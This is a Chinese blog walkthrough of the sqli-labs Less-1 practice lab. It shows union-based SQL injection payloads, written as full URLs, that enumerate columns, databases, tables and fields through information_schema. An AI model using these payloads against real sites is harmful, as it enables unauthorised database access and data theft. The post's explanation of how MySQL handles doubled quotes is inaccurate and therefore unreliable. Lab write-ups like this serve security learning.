sql-lib注入天书-Less-1

1.尝试报错我们在1之后加上‘,根据反馈信息1’后面多了一个‘所以我们想办法闭合用 'or 1=1 --+。
在这里插入图片描述
2.接下来我们进行Order by 对前面的数据进行排序(http://192.168.83.129/sqli-labs-master/Less-1/?id=1’ order by 3 --+),我们用order by 3 --+发现数据回显正常,但是我们发现用order by 4 --+数据回显不正常。 因此数据有三列。然后我们用使用union select 1,2,3联合查询语句查看页面是否有显示位。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

****** ## 在这里我们补充一下:

1)什么是显示位:
我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息
2)关于union查询:
使用union联合查询的前提是必须要有显示位,union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返
回了我们构造的 union 的数据。
3)关于MySQL的语法问题(""):
http://192.168.83.129/sqli-labs-master/Less-1/?id=1’ or 1=1 --+ 我们在尝试这条语句之后发现页面能正常显示,那么我们在尝试这条语句之后是也能正常显示?http://192.168.83.129/sqli-labs-master/Less-1/?id=1’’ 答案是肯定的,注意我们发现在1之后多了两个’’,呢么我们就来补充一下:
我们在原来的基础上再继续输入多一个引号,也就是“1’’”。
这时候我们看一下查询语句
select firstname,surname from users where id = ‘1’’’;
这时候得讲一个mysql的语法,

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。

我们来看几个例子。

第一个是和我们上面类似的sql查询语句

select * from users where user_id = '1''';

第二个是来阐明我们这个优先级的,

select * from users where user_id = '1''2';

可以看到,出来的结果还是和user_id=1一样。

我们再看一个长长的,

select * from users where user_id = '1''2''abc''efg';

事实胜于雄辩,可以看到结果还是和上面的一样。也就是说‘’‘等价于 ’ or  1=1 --+ 

3.查出了显示位之后,我们也进行了查看列数,可知道当前数据库有三列。因此我们可以利用回显查看数据版本,数据名称等等。注意我们再利用联合查询之后,1是不能回显的只能回显2,3.所以 http://192.168.83.129/sqli-labs-master/Less-1/?id=-1‘union select database(),version(),3–+ 是不正确的.所以我们利用http://192.168.83.129/sqli-labs-master/Less-1/?id=-1%27%20%20union%20select%201,version(),database()–+ 爆出数据版本,当前数据库名称。
在这里插入图片描述4.接下来爆出数据库
192.168.83.129/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
在这里插入图片描述

****** ## 在这里我们看一下两种爆数据库的区别:

http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 第一这是爆出当前的数据库,而第二个爆出的是所有的数据库。在使用了GROUP_CONCAT后,会将所有的数据合并在一起,limit是没有任何效果的。我们查看第一次报错:
在这里插入图片描述
可以看出在查询语句中出现了limit限制,因此我们在第二种语句爆出数据库的时候并不会爆出所有的数据库,所以我们用group_concat…
5.接下来我们爆出表名字:
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述6.爆出字段名字
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
7.爆出字段
在这里插入图片描述至此,渗透结束。

猜你喜欢

转载自blog.csdn.net/weixin_43803070/article/details/89885006